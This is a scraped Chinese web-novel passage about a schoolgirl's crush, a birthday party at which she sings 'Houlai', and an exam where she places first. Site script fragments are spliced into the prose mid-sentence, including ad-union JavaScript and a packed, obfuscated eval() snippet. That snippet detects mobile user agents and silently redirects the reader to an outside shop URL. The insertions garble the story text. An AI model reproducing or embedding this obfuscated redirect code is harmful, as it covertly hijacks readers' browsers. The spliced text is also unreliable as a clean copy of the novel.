陈星彻毫无征兆地感觉心口被什么蜇了一下。 这个回复倒有趣,在意料之外。 然后他忽然想到,她好像自始至终都没有说“没关系”。 小姑娘看着温软好说话,没承想倒是个有主心骨的。 思及此,陈星彻勾了抹不明显的笑意。 他的手指落在手机屏上,想着回复一句什么,又觉得没什么好说,于是又把手机屏摁灭。 厨房在院子另一边,他出门后往外走,夜色淡淡,花园里的草木之气令人心静,灯光打下来,尘埃在光线下浮动,屋里不时传来说话声,而草丛里虫声唧唧,这一刻静谧而安然。 或许是被环境影响吧,虽觉得没什么好回复的,可陈星彻想起白天女孩的窘境,总觉得心里还是有话要说。 于是又摁亮手机。 点开许若头像的时候,也不知道是碰到哪里,竟弹出她的主页。 陈星彻看到,她的个性签名是: “栀子花,白花瓣,落在我蓝色百褶裙上。” 这是《后来》的歌词,她的小小心思,一句隐晦地回应。 可陈星彻并没多想。 因为这首歌太大众,谁用歌词当个签都不奇怪。 可不知道为什么,他打开手机之后,心里想说的话又变没了。 他摩挲着手机,想了一秒,再次摁灭屏幕。 最后什么也没回。 …… 第二天一早,吴佳蓉就带许若去看医生了。 许若昨晚等陈星彻的回复等了好久,夜里一点多才睡着,每隔一小时就会醒一次,去看看他有没有回消息,就这么一直到天亮。 所以她精神有些差,吴佳蓉以为她是因为痘痘在发愁。 到医院之后,医生照例询问病因,又做了内分泌相关检查,最后医生建议服药抹药和医美项目同时进行,最快三个月到半年左右就能痊愈。 临走之前,医生还把吴佳蓉批评了一顿。 吴佳蓉到车上就自责地哭了,喃喃自语道:“都怪我,明明也不是没文化的人呀,为什么还不懂得有病要来医院这么简单的道理。” 许若连连安慰:“妈,你已经做得够好了,我有些同学也起痘,她家长就说一句‘过了青春期就好了’,压根不上心。但是你一直在带我治疗,多贵的药都舍得买,我们只是走了弯路而已,没事的,现在已经回到正轨上了。” “可我还是耽误你治疗了。”吴佳蓉趴在方向盘上啜泣。 许若说:“没有啊,你也不是医生嘛,再说了,你昨天说要把那些药都扔了的表情,别提多酷了,换个人绝对没有你干脆。” 吴佳蓉不说话,只是抽噎。 许若抽了两张纸,帮她擦眼泪,其实有一肚子话想说,写成作文都要洋洋洒洒几千字的程度,可开口,只剩一句:“妈,谢谢你。” “……”吴佳蓉慢慢被许若安慰好了。 远处天蓝蓝,微风都明媚几分。 回家之后,许若的爷爷奶奶来了,还带了好多螃蟹过来。 结果因为许若要忌口,不能吃海鲜虾蟹,所以大家就都不吃了,打算把这些螃蟹拿回去一半,另一半做成香辣蟹真空包装给许萧邮寄过去。 午饭一半吃的是昨晚外公外婆来没吃完的剩菜,额外又炒了两样家常菜,都是一家人,没有那么多的讲究。 国庆假,星南不同于其他学校放七天假,而是直接放十天。 吴佳蓉把智能手机还给了许若,吃饭的时候,许若心血来潮给许萧打了个视频电话。 当时许萧还在图书馆,他走出来接听,因为网络不好,说话断断续续的。 许若特意把满桌的菜拍了一遍,问:“看看这一桌子色香味俱全的菜,诶,还有你最喜欢的糖醋里脊,你想不想吃?” 许萧笑:“你跟谁学这么坏。” 许若嘿嘿一笑:“谁让你都不回家,只能眼馋了吧。” 许萧叹气:“这不是学校事多嘛,你以为我不想回去,留在这食堂都不开门,我中午啃的面包。” 许若“啊”了一声,刚要说什么,吴佳蓉把手机夺过去,问:“你就吃面包?” 许萧喊了声“妈”,又道:“本来打算出去吃的,对方临时有事,我就凑合一下。” 许若忙问:“是女孩吧。” 吴佳蓉嗔怪地瞥了许若一眼,开口却是问:“是女孩?” 此话一出,许君山直接笑喷,不顾嘴里塞着米饭,说道:“你就跟你闺女瞎起哄吧。” 吴佳蓉白了许君山一眼,许君山故作诙谐地模仿吴佳蓉的表情,爷爷奶奶笑得合不拢嘴。 许萧又说:“我还没和爷爷奶奶说句话呢,你把手机给他们。” “……”就这样扯开了话题。 家里人都明白许萧的为人,他是一个事情没有板上定钉绝不会多说的人。就如他高二时参加物理竞赛,直到得了奖才告知家里人,还有高考之前每次问他想报什么志愿,他都说考上哪个去哪个,直到分数出来,他才告诉大家,他早在上高中前就有了心仪院校,并且三年来都在为此努力。 因此对于他恋爱与否,大家打听归打听,却不会打破砂锅问到底。 这边许萧和爷爷在聊天,许若开始吃饭,过了大概一分钟,爷爷忽然把手机给她:“若若,你有电话进来了。” 许若一瞧,竟是班主任李璐。 她放下筷子,到阳台上接听。 李璐笑问:“许若,吃饭了吗。” 许若说:“吃了,老师您吃了吗。” 李璐说:“吃了吃了。” 总要有一段毫无用处的开场白,才好引出接下来要说的内容。 寒暄几句之后,李璐才表明目的,问:“你十号有空吗。” 这个日期,让许若想到什么。 陈星彻的生日就在10月10号。 正因他的生日卡在假期返校的节点上,所以星南才会直接放假到十一号。 许若顿了顿才说:“应该有空。” 李璐说:“那就好了,到时候你随我去个地方吧。” 许若问:“去哪。” 李璐说:“你别问了,上头安排的,到时候就知道了。” 挂了电话之后,吴佳蓉问:“老师找你干吗?” 许若没多想,只说:“好像是学校的什么活动吧。” “……” 这个国庆假期,许若过得如设想般平静。 她在家奋笔疾书,写试卷也写小说,又去医院治疗,主要是滚针加红蓝光修复。还抽出两天的时间,和关以宁在妈妈们的陪同下自驾去海边玩,顺便听了一场音乐节。 十号很快到了。 这天上午,李璐来许若家小区门口接她。 许若在路上问了几 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 遍,李璐都是“到了你就知道了”这套说辞。 直到车子驶入京市有名的高档小区“御府”,许若才发现,她们竟是来给陈星彻过生日。 怪不得说是上头安排的。 陈星彻的妈妈可不就是学校的校董吗。 许若差点当场晕倒,眼睁睁看到李璐从车上拿了一副昂贵的网球拍,她问:“老师,我怎么办?我没准备礼物……” 李璐看她一眼,笑道:“没事,赵董交代过,不让提前告诉你,就是怕你费钱买礼物。” 许若:“可是……” 李璐笑:“好啦,没什么可是的,你别不好意思,跟着我就行了。” 许若哑然。 李璐进了陈星彻家的大门,许若紧跟其后。 她总觉得有些话不问清楚,会觉得不踏实,于是踌躇着又问:“可是老师,为什么要请我啊?” 李璐回头看她一眼,笑问:“听说陈星彻的宠物鸟把你挠伤了?” 许若微怔,隐隐约约明白了什么。 李璐或许之前来过这里,看起来熟门熟路,许若由她领着往里走。 陈星彻的家比想象中小很多,只是一个普通的别墅,进门一排灌木围成的墙,小洋楼三层高,窗子大而明亮,二楼有露台,远远看过去是一个花园。 一路往里。 从游廊穿到后花园去,才发现这里别有洞天——小洋楼后面遍植玫瑰,香气袭人,就像是照搬了《爱丽丝梦游仙境》里的玫瑰墙。 许若原本还在纳闷,怎么十月了这些花还开得这么好?走近一看,才发现这些玫瑰都是一枝枝被绑上去的,不知道费了花匠多少工夫。 生日宴就在后花园的草坪上举办。 许若远远就看到,赵争妍一身珍珠白的长裙,耳朵上却戴了副淡绿玉的耳环,素雅中平添几分别具一格的雍容。她旁边的男人是陈星彻的父亲陈吉赢,许若知道,陈吉赢在政府任职,本以为他会是那种脑门锃亮、不怒自威的领导长相,谁知他看上去却更像是韩剧里的帅气大叔,个子很高,成熟内敛,虽然穿着休闲装,却看得出身材很好。 二人站在一起,颇有豪门夫妇的养眼和气派。 赵争妍无意间瞧见李璐领着许若来了,远远儿就走过来,热络地招待许若:“来啦孩子。” 许若微微颔首,礼貌说道:“阿姨,我什么都没准备就来了,真是不好意思。” 赵争妍笑:“是我不让李老师给你说的嘛,没关系的,你来就是吃个饭,热闹热闹,不需要礼物。” 许若笑而不语。 赵争妍又说:“其次呢,我也是想专门给你道歉,生日会只是一个恰好出现的,合适的场合,我觉得比专门请你吃饭要随意轻松,不然我怕你会尴尬。” 许若这下倒是怔住了。 赵争妍一个眼神就能看出许若的心思,抚了抚鬓边的碎发,笑说:“我以前呐,唇边长着一颗好大的痣,老被人起外号叫‘媒婆’,后来有同学居然当着阿麒爸爸的面就这么叫我,虽然后来我去医院把痣祛除了,再没有这个小困扰。可是当时的心情,我一直都记得,所以我希望那天的小插曲,不要成为你的负担。” 许若很意外。 在她心里,赵争妍和陈星彻一样,都是高高在上令人仰望的,却没想到她是那么平易近人,毫无架子。 她更没想到,赵争妍竟然如此细腻,不是说,越是成功的上位者,就越难与普通人共情吗。 许若真挚一笑,说:“谢谢您。” 三个字的回应,大大方方,不卑不亢也不骄矜。 赵争妍不由对她心生好感,往高处抬了抬眼,说:“去找陈星彻玩去吧,他们都在天台的花园上。” 许若抬头。 一下子对上那双润着凉浸浸星光的眼睛。 阳光下,那双眸子像是玻璃珠做的。 澄净是因为懒得遮掩,这世上也没什么人和事有资格让他掩饰自我。 扫向她时,他举起手里的高脚杯,随意一邀。 她的心就晕乎乎地醉了。 10.献唱 滟滟的琥珀酒,迎着光,折射在陈星彻的下半张脸庞。 这一幕生动而具体,许若很艰难才移开目光,怕被看出什么,反而表现得比平时更淡定。 赵争妍虽然让许若去找陈星彻玩,但她刚做完脸没多久,现在还在恢复期,两颊正红肿,不想以这副面容去面对他。何况,她有自知之明,她和他那个圈子里的人八竿子打不到一起,去了也不知道聊什么,反而容易冷场。 于是她只是随意找了个安静的角落坐下,默默玩手机。 天台花园种遍绿植,单人沙发隐匿在硕大的龟背竹后,秋千架旁月季花芳香馥郁,还有个铺满鹅卵石的小池子,碧波悠悠,底下种满苔藓,鱼儿往来翕忽。 “许若怎么没上来啊?”赵杭也看见许若了,眼见她和赵争妍分开后就往这边来,却又迟迟没见她上来。 陆燏没骨架地窝在沙发里,懒懒地摸脖子上那块翡翠弥勒佛,说:“早知道她来,就喊李岁过来了。” 陈星彻摇晃着杯中酒,没说什么,不怎么关心。 只靠在栏杆旁,淡淡问:“她爱来不来,关你什么事。” 赵杭笑:“这不也算是认识了嘛,她还让人觉得蛮舒服的,不是那种硬往人身上靠的那种有心机的女孩。” 陈星彻还没说什么。 陆燏一嗤:“现在的人多会装,我倒觉得那女孩一看就心思深,让人猜不透。” 赵杭“呸”一声:“你不要觉得人人都是李岁好不啦。” “李岁怎么了。” “没怎么,就是有点能让浪子回头的手段。” “那也不关你事儿,你他妈再背后说她,尝尝我的拳头呢。” “嘁,就你那小身板,你来啊。” “……” 你一言,我一语,眼看这俩人要闹急眼打起来,陈星彻先一步离开天台。 谁知刚下楼,就在旋转楼梯的尽头看到许若。 她正给人打电话,对背后的动静一无所知—— “我怎么知道是来过生日呀,什么都没准备,两手空空的。” “嗯嗯,还好吧,没几个人认识我。” “我和他不熟嘛,哪怕是一张贺卡,也是心意吧……” 说到这,许若急刹车住嘴。 踢踢踏踏的脚步声,自上而下。 她刚想转头,一阵衣角掀起的风倏忽从身边飘过……陈星彻就这么走了过去。 许若简直无语凝噎。 偏偏关以宁还在听筒那边问:“那你怎么办,总不能现场找纸笔给他写贺卡吧。” 许若幽怨地哀叹一声,说:“得了,不说了,我先去死一死啊。” 挂了电话之后,许若在原地坐不住了。 恰好生日宴也快开始,她就慢吞吞挪到现场。 陈星彻的生日宴并没有宋楚的生日宴那么正式,也没有到处铺满鲜花彩带气球,更像是一个小派对,大家都穿平时穿的衣服,一起露天烧烤。 李璐介绍说,一身运动装,在那烤全羊的老两口是陈星彻的爷爷奶奶,在点歌台旁唱《甜蜜蜜》的老夫妻是陈星彻的外公外婆,串蔬菜的是陈星彻的爸爸和舅舅。除此之外,其他人也多是陈家和赵家的亲戚,满场子只有八九个人是外人。 这样的场合竟是有钱有地位也来不了。 没一会儿,赵争妍亲自推着一个蛋糕走过来。 一群人自动为她让路。 当她来到陈星彻的身边时,“嘭”的一声,赵杭在旁边开了一瓶香槟。 这时依稀听到有人播放生日快乐歌。 许若用眼睛找了一遍,才发现点歌台的屏幕上,正循环播放陈星彻从一岁到十八岁的影集视频。 许若差点一口气没上来被呛个半死。 因为这个视频……怎么说呢,十分难评。 它是正红色的背景,旁边有牡丹花中国结和喜鹊之类的点缀,上面的标题,是紫红色和宝石蓝变换的宋体发光字:祝麒麒生日快乐。 关键是,她还看到了,他穿开裆裤的照片…… 再去看陈星彻的脸色,她离得这么远,都能看到他眼眸发沉,在用力咬紧牙关,下颌僵硬着。 可奇怪的是,竟然没有任何一个人笑。 连素日嬉皮笑脸没个正形的赵杭,都丝毫没有反应。 正想着,只听赵争妍问:“阿麒,这可是你爷爷花了半个月剪辑出来的视频,喜欢吗?” 陈星彻慢慢勾起一抹笑:“喜欢。”颇有些咬牙切齿。 赵争妍笑得眼睛都眯成缝儿:“那还不谢谢爷爷!”又转而对陈星彻的爷爷说,“爸,您可真有才,剪得真好,以后他结婚您也给剪一个呗!” 陈星彻的爷爷笑着摆手,特别老干部风:“多亏了礼俐远程指导,我就随便一剪,大家见笑。” 这个名字许若第一次听,看大家的神情,感觉应该是他们的熟人。 她没在意,只听有人说:“哪里啊,您这水平都赶得上专业的了!大家鼓掌!” 有人带头恭维,其他人纷纷应和,欢欣鼓起掌来。 陈星彻在这整齐的掌声中,开口说道:“谢谢爷爷。” 又忽地一笑:“我妈这是羡慕我呢,您下次也给我妈剪一个。” 爷爷连连点头:“好好,都有都有。” 赵争妍的笑顿时僵在脸上,忙招呼:“好啦,切蛋糕吧,不然蛋糕该化了。” “……” 随后大家齐声为陈星彻唱起生日快乐歌。 切完蛋糕之后,赵争妍张罗着许若和陈星彻他们一起坐,毕竟是同龄人,她也不好在长辈们面前晃悠,于是便安心坐下。 只剩自己人的时候,赵杭才大胆笑出声,说:“麒哥,老爷子可真牛。” 陆燏也笑得肩膀一抖一抖的,印象里,他很少有这么大笑的时候。 陈星彻白他一眼,看见屏幕上循环播放的视频心就烦,余光恰好瞥见许若,便说:“许若,你是不是没给我送礼物啊。” 许若忽然被点名,那滋味和上课开小差被老师点名几乎没差别,她懵懵然望向他,两秒之后才点点头。 陈星彻看着她,用手来回拉外套上的拉链,姿态闲适而散漫。 他似乎是在酝酿什么坏心思,又或是他今天一身黑,薄夹克外套和短靴搭配起来有点酷,所以显得坏坏的吧,她总觉得他的眼神和声音都有几分玩味。 许若有点紧张。 听他笑问:“用一首歌来抵怎么样?” 许若先是大脑空白,旋即讶异,又过了几秒,明白过来——以礼物之名“破坏”掉爷爷的视频,是再好不过的理由。 他并不是真的想听她唱歌。 许若心头如气泡水般泛起来的小甜蜜,被随后冒上来的倒齿牙的酸涩压了下去。 可很快,她又归于平静。 她是一个清醒的人,即便她正和这些天之骄子坐在一起分享同一块蛋糕,也不会认为自己就是他们中的一员。 辛德瑞拉,也要时刻铭记,时辰一到水晶鞋就会消失的道理。 而正因她是个彻头彻尾的外人,才是陈星彻最好的人选。 她不像其他人那样惧怕爷爷,尽管爷爷是个响当当的大人物,但对她来说只不过是一个陌生的老年人。反之,即便她“犯了错”,爷爷又怎么会动怒于一个陌生的普通人家的女孩。 一个从未入世的人,自然不会有入世的烦恼。 许若点点头,并不忸怩,问:“你想听什么。” 陈星彻没想到她会这么爽快,顿了一下,才懒洋洋回答:“都行。” 许若思索一番,很快想到他昵称上的那两个字——后来。 她走到点歌台前,就点了一首《后来》。 陈星彻的爷爷这几年心脏出了点问题,全家人都警惕这件事,陈星彻也不敢明着和爷爷作对,本就是为了对付爷爷,才鬼使神差想到这么一招。 所以这首歌前奏响起的时候,他还漫不经心,甚至拿了个杯子,正往里面倒柠檬汁。 一道声音被风送进了耳朵里: “后来,我总算学会了如何去爱,可惜你早已远去,消失在人海。” 该如何形容她的歌声呢。 事实上,但凡懂点音乐的都听得出她只是没跑调,却毫无技巧,可她最大的优点是音色好听,微微 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的鼻音,引出那丝糯糯的绵软。 加之她唱得认真投入,副歌的地方,气息略有凝滞,似在呜咽,让他的心里像被羽毛轻轻刮过。 赵杭像发现新大陆,露出惊喜的表情:“妈的,这歌声,没爱过绝对唱不出啊。” 陆燏正拿着一串玉米粒吃,闻言嗤一声,悠悠地推翻他的评价:“这哪是爱过,是还爱着。” 唯有陈星彻没发表意见。 陆燏睨他一眼,抬脚勾勾他的腿,问:“怎么着,陈大少您可满意?” 陈星彻回眸,随口说:“还行。” 许若没听见他们的私语。 她背对着他们唱,这样会让她没那么紧张。 不远处爷爷也听到许若的歌声,本想斥问是谁切换掉他精心准备的视频,抬头看一眼,只见一群年轻人聚在一起玩闹,模样还挺高兴,也就没说什么。 最后多看了唱歌的那女孩一眼,又继续烤他的串串去了。 《后来》这首歌足有五分多钟。 两段间奏的部分,许若仍然选择背对着大家,佯装专心看幕布上的MV。 许若之前听过陈星彻唱歌,知道他懂音乐,可她是个业余选手,技术不够只能以情感来弥补,又因为是送他的礼物,她其实唱得蛮努力的。 一曲而毕。 身后响起掌声。 许若回头,只见赵杭带头鼓掌,一个劲儿夸她唱得好。 其他人热络地附和着。 沙发这一圈儿人里,唯有陈星彻和陆燏没有鼓掌。 陆燏眼皮薄薄瞥她一眼,只说:“好听。” 却是特别敷衍的,他向来给人一种对什么都感到无聊的感觉。 陈星彻比陆燏真诚,但也仅仅是一句:“谢了,这个礼物我收下了。” 那一刻,许若还没从这首歌的状态里走出来,所以心里并没什么特殊情绪,只对陈星彻莞尔一笑,说:“生日快乐。” 陈星彻很自然地接话:“同乐。” 许若永远记得。 这一天26℃,微风,天空蓝的和漫画里一个样子,成团成团绵密的白云仿佛近在咫尺,花园里的玫瑰品种是雪白色的“骄傲”。 她的心,是很靠近很靠近他的。 而他还是离得一样远。 后来离开,是陈星彻送许若出门,赵争妍要求的。 从花园到门口这条路,二人都一言未发。 许若的视线落在陈星彻的肩膀,感叹男生肩宽如一座巍峨秀丽的山,给人一种踏实的力量,即便他顶了一张玩世不恭的脸。 很快来到门口。 许若在陈星彻停下的时候停下。 这时已是黄昏,远处天际橙红的火烧云一片一片。 陈星彻扭头张望了一眼,见李璐的车正驶出停车库,问:“你跟老师车走?” 他的侧颜在暮色下有些模糊,但是线条又是极其清晰的,轮廓被昏暗光线勾勒出来,像是雕塑家用心捏出来的艺术品。 许若眨了眨浓长的眼睫,压住心跳说:“嗯。” 陈星彻低头看她,这几次相处下来,他总觉得她为人冷冷淡淡的,心想这应该是一个内向的女孩,于是也没再说什么,只最后道了声别:“路上慢点。” 恰好李璐的车开到。 许若说:“好的,再见。” 陈星彻“嗯”了声,想要转身,又想起什么,看她一眼说:“忘了告诉你。” 许若微愣:“啊?” “歌唱得不错。”他说。 陈星彻留下这么句话,就离开了。 许若在原地呆呆看着他的背影,出神好一会儿。 身旁有车摁了两下喇叭。 许若才回神,转身进了车里。 这天回家之后,她的小说男女主角各自有了姓名。 女主角叫夏时。 既契合小说名《夏悸》,也表示她喜欢上他时的summer time。 男主角叫陈麒。 麒麟是传说中像鹿的神兽,古人用来象征祥瑞。 麒字是他的小名。 现在,也是她的男主角的名字了。 11.作文 小长假开学第一天,学校组织了一场全校测验。 许若和宋楚分到了一个考场。 二人一同去隔壁楼考试的路上,宋楚忽然问:“听说你去陈星彻生日会了?” 许若说“嗯”,主动解释道:“那天陈星彻的鸟把我挠伤了,他妈妈为了……” “不用解释。”宋楚打断她,不在意地说,“我一不会吃醋二不会多想,你解释干嘛。” 许若哑然,又问:“你怎么没去。” 宋楚弯腰拉了拉侧边带蝴蝶结的及膝灰袜,说道:“我哥要进组,提前找老师上课,他没空去,我就更不想去了……嗨。”路过两个女孩同宋楚打招呼,她应了一声,又继续说,“毕竟我和他们又没什么交情。” 许若点点头,其实她也丝毫不关心宋楚为什么没有去。 宋楚刚整理完袜子,张赭从楼下迎面往上来,她眼眸一亮,喊住他问:“诶?我们都往下走,你怎么往上来啊?” 张赭露齿特别阳光一笑:“害,我找错考场了,我考场在楼上。” 宋楚扑哧一声笑了,眼睛一弯,妩媚而娇俏:“我们最细心的班长大人也有犯糊涂的时候?那你还记不记得这场考什么?” 张赭原本大大方方,被这么调侃一下,倒不好意思了,瞥了眼许若,才道:“你别拿我开涮了,快去考试吧。” 宋楚努努嘴,说:“不行。”她手臂一伸,有些骄纵,“你还没祝我考试顺利呢,我不让你走。” 张赭摇头失笑,无奈道:“好好好,你俩都考试顺利!”他侧侧身子,让旁边的人走过去,又道,“考的都会,蒙的全对,得了吧。” 宋楚想听的是“祝你”,而非“祝你们”。 她脸色变了变,一副扫兴的样子,放张赭过去。 张赭往楼上去,宋楚就站在那节台阶上仰头看他,直到他彻底消失在楼道尽头。 宋楚回头,步伐缓慢地往楼下走,忽地问道:“你觉得班长这人怎么样?” 许若说:“挺好的。” 宋楚扭头望她一眼,问:“挺好的是多好?” 许若想了想说:“就是还不错。” 宋楚白她一眼:“嘁,反正问你等于没问,你这种人啊,就是大家常说的老好人,和谁都没矛盾,但也没有特别交好的同学,挑不出错,但也挺无聊。” 说到这,宋楚真心实意地问了许若一句:“你不觉得活成小透明挺没劲的吗。” 宋楚向来有什么说什么,只有别人习惯她,没有她迁就别人。 尽管许若分辨得出这话并非恶意,但听起来还是让人不舒服。 许若的睫毛颤了颤,眼睛却始终直视着宋楚,温温和和地笑了:“是吗。” 她眨眨眼,眼底一片清澈通透:“我不觉得。” 宋楚甩甩头,似乎也根本不想知道许若的回答,刚才的问句其实不过是她心里的陈述句而已。 二人很快下了楼,到考场上找座位。 …… 考试成绩在三天之后张贴到黑板一侧的公告栏上。 “许若许若!你是第一名诶!”董巧巧挤在人群最前面,看到了成绩单上第一行的名字。 “妈呀,许若你数学英语都是满分。” “许若,恭喜恭喜,你可真是闷声干大事……” 大家七嘴八舌讨论许若的成绩时,许若正在写笔记,闻言抬头,手里还握着笔,问:“我年级第几?” 董巧巧忙去看,一瞧,更激动了:“年级第三,妈耶,你可以接受全校表彰了。” 星南有个规定,凡是全校组织的考试,都会在成绩下发之后,把年级前五名和作文满分的同学照片,放到学校官网,置顶表扬一个星期。除此之外,还会在公告栏的荣誉墙上,以及正对着大门的大屏幕上循环表扬。 考试前许若对宋楚说:我不觉得。 不是不觉得当小透明没劲。 而是,她从来都不觉得自己是小透明。 比起在人际关系上出风头,她更喜欢在大家共同的赛道上一骑绝尘,把自己正在做的事情做到闪闪发光,会让她更有成就感。 董巧巧拍下成绩单,回到座位,转身趴在许若的一摞资料书上,眼巴巴一脸崇拜:“许若,你教我数学后三道大题呗。” 宋楚打了个哈欠,从桌上起身,被人惊扰美梦后一脸不耐烦:“你没家教啊,让她教?” 董巧巧当初也是因为家里有钱才进的星南,她看了宋楚一眼,不好意思地一笑:“这不是就近原则嘛。” 宋楚随意撩了几把头发,伸手道:“把成绩单给我看一眼。” 董巧巧把手机递给宋楚。 宋楚接过,眯起眼睛找自己的名字,过了会儿嗤了一笑:“妈的,四十名,有进步……我靠!” 她一句完整的话还没说完,突然异常激动地惊叹起来:“我的老天,陈星彻这么搞笑的吗,语文145,数学28?哈哈哈哈……” 许若一怔,也拿起手机看。 一瞧,陈星彻在班里排名中等,再看各科成绩,他居然连公认比理科难度都高的政治都考90分,分明只有数学一个拉分项。 许若下意识回头瞥了眼陈星彻的座位。 他不在。 一下课就被赵杭几人喊出去打球。 下一节课恰好是班主任的课。 李璐抱着一沓试卷进了教室,调试了“小蜜蜂”扩音器后,说道:“今天这节课什么也不做,我给你们专门说一下成绩,我念到名字的同学,到讲台上领卷子。” 李璐一个个点名,很快半节课过去了。 这时教室后门忽然被人轻轻推开。 考试之后班里按照排与排交换的方式调了位置,许若恰好靠近后门,微微一转头,就看到陈星彻走了进来。 陈星彻一身白色的球衣,暗红色的运动发带,刘海被汗打湿,衣襟上有打球过后留下的汗水痕迹。 少年运动后的荷尔蒙,却给人清爽的感受。 许若猝不及防地被他帅了一下。 别人迟到了都猫着腰夹紧尾巴进屋,陈星彻倒好,挺胸抬头就走了进来。 动作虽轻,没有惊动到教室里的其他同学,但李璐还是一眼就看到他,脸色顿时变了变,把剩下的试卷往桌上一拍,弄出了不大不小的“哗啦”声。 “陈星彻,你哪儿去了?”李璐喊住他。 大家一齐转头往后看。 陈星彻已走到自己的位置上,只是还没来得及坐下,闻言懒散一笑:“老师,没听见打铃声,不是故意的。” 这话任谁听都知道是信口胡诌。 李璐哼一声,抱臂看着他,笑道:“是吗,你脑袋边那俩耳朵眼喘气用的?” “哈哈哈哈……”不愧是语文老师,一句话喜剧效果和讽刺意味拉满,大家都笑起来。 陈星彻歪头一笑,随意摘掉头发上暗红色的发带,说道:“老师批评的是。” 李璐见陈星彻打马虎眼,也不再继续纠结这个话题,只问:“你知道自己这次考得怎么样吗?” 陈星彻捋了捋头发,随口问:“怎么样?” 李璐边一张张找陈星彻的试卷,边冷哼一声:“呦,看来您还不知道自己数学考了28分呢。” 陈星彻把头发悉数捋到脑后,额头露出来,眉眼间的小表情便更容易被捕捉,许若看到他微微动了动眉头,似是小小惊讶了一下。 李璐找到了他的试卷,扬起来,说:“你语文145分,作文满分,我寻思也不是弱智啊,数学居然连零头都没考到?选择题都选C也比这分考得多吧。” “……”底下响起了同学们窃窃私语的声音。 陈星彻百无聊赖地扫了大家一眼,才道:“我下次进步。” 李璐直接笑了:“你倒是想退步,你这分数给你退步空间了吗?!” “……”陈星彻不说话,他应该是刚赢了球,明显心情还不错,从进门就被李璐凶,却也不恼。 李璐走下讲台,把成绩单和语文试卷一同拍到他怀里,问道:“你念念你的分数。” 陈星彻拿起那张成绩单,一瞥,先是“啧”一声,说:“许若第一名啊。” 突然被他叫到名字,许若浑身一激灵,强装镇定看了他一眼。 他只是顺口一提,仍然低头在成绩单上找自己的名字。 李璐凶道:“你管人家呢?看你自己!” 陈星彻目光一定,找到了自己的名字,老老实实把各科成绩念了一遍。 等他念完,李璐又瞥了眼他的试卷:“再把你作文念一遍。” 陈星彻的脸色终于变得有点不耐,看了李璐一眼,眼神已不含笑意,却还是配合着,拿起了试卷。 这一次考得是命题作文,写“什么是勇敢”。 许若得了48分,陈星彻是整个高三学部唯一的满分。 语文作文考察议论文,即便是一个成熟的作家也未必能每次都得满分,许若高中三年,曾有两次得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13829387|145509||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过满分,而这次失分的原因,竟是在作文最后一段引用名人名言时,写错了作家的名字。 这种低级错误,让许若抓心挠肝地难受,但也许正因如此,当她失误,而他却在她的优势科目上出尽风光的时候,她才会记忆如此深刻吧。 许若永远记得。 陈星彻站在这样一个平凡的秋日里,身后的背景板是最普通不过的,以安全教育为主题的黑板报,他的穿着也丝毫不正式庄重,可许若却看到了他的神思飞扬,风华正茂。 短短八百字,陈星彻声音懒散,小神态端得是漫不经心。 他念道: “如果‘勇敢’二字是你困顿挣扎的人生里的一针强心剂,那么无论何时,请你牢记:坚定,坚持,以及相信自己。 你要在狂风暴雨中,等待晴天降临;你要在层峦叠嶂间,找到翻越之法。 无数次的坍塌与崩裂,困惑与打压,都是为了磨砺我们的骨头,让我们的心更加坚不可摧,从而拨开过去的雾,通向未来的塔。” 读到这里,大家都以为,这是一篇阅卷老师最喜欢的正能量文章。 可他忽然笔锋一转,这样结尾: “然而之于我,勇敢并非是对抗人生的武器,而是生而为人的傲气,是不弯腰,是做自己。 人生很长,也很好。 喝不了快意恩仇的酒,就去碰及时行乐的杯。 祝君,终有一日—— 抬眸四顾乾坤阔,日月星辰任我攀。” 语毕,全班安静了几秒。 而后爆发出雷鸣般的掌声。 陈星彻没有露出半分洋洋自得,只关心一件事:“能坐了吧?” 李璐抬手示意大家安静,又道:“好一个日月星辰任我攀,你数学28分,怎么攀呢?” 李璐总是反反复复提及这28分,就像《大话西游》里的唐僧似的,陈星彻有点烦躁,抓了把头发,不服管的姿态。 李璐抬脚往讲台去,高跟鞋踩地的声音在教室里一声声回荡,她来到讲台上之后站定,最后说道:“陈星彻,我不管你怎么想,期中考试如果你数学考不到80分,我就要请你家长来学校喝茶了,包括你爷爷。” 陈星彻微愣:“不是?你……” 李璐却直接喊下一个人的名字:“许若。” 许若微愣,反应了一秒,才起身。 刚抬脚走了两步,就听后边的门被人大力摔了一下,震得满屋子人都是一惊。 转头,只见陈星彻的座位空空如也。 也有其他同学往后看,李璐拍拍讲台桌子,说:“别管他,都转回来。” 大家才又转回去。 许若来到讲台前,李璐把试卷发到许若手里,夸奖道:“许若同学的各科成绩都很亮眼,没有任何薄弱科目,如果非要鸡蛋里挑骨头,可能地理和政治分别再提高五分就好了。希望大家都能向许若学习,要是能做到踏实和心静,想必大家的成绩也不会差。” 许若笑了笑,这个夸奖她自认受之无愧,于是大大方方地说:“谢谢老师。” 转身,张赭带头喊道:“恭喜许若同学!” 同时伴随掌声。 于是同学们也被带动,一起为许若鼓掌。 许若向大家浅浅弯腰鞠了一躬,高兴地说:“谢谢。” 回到座位上,宋楚瞥她一眼没说话。 直到下课铃响起,宋楚才笑了声,说:“看来学习好也是有好处的嘛。” 许若转头。 这才看清,宋楚低头玩手机,连看都没看她一眼。 宋楚向来如此,高兴不高兴都直接挂在脸上,想讽刺谁不会等到第二天,对此许若已经习惯,她并不会感到生气,只是也不愿回复什么。 她像是没听到,起身离开教室。 来到栏杆处,从五楼向下俯瞰,恰好看到陈星彻和陆燏往教学楼来,陈星彻手里拎着换下来的球衣。 就这样看着他走在阳光下。 心情也明媚起来。 当天,许若凭借优异的成绩登上学校公告栏的光荣榜。 陈星彻的作文,则被张贴到她的照片旁边。 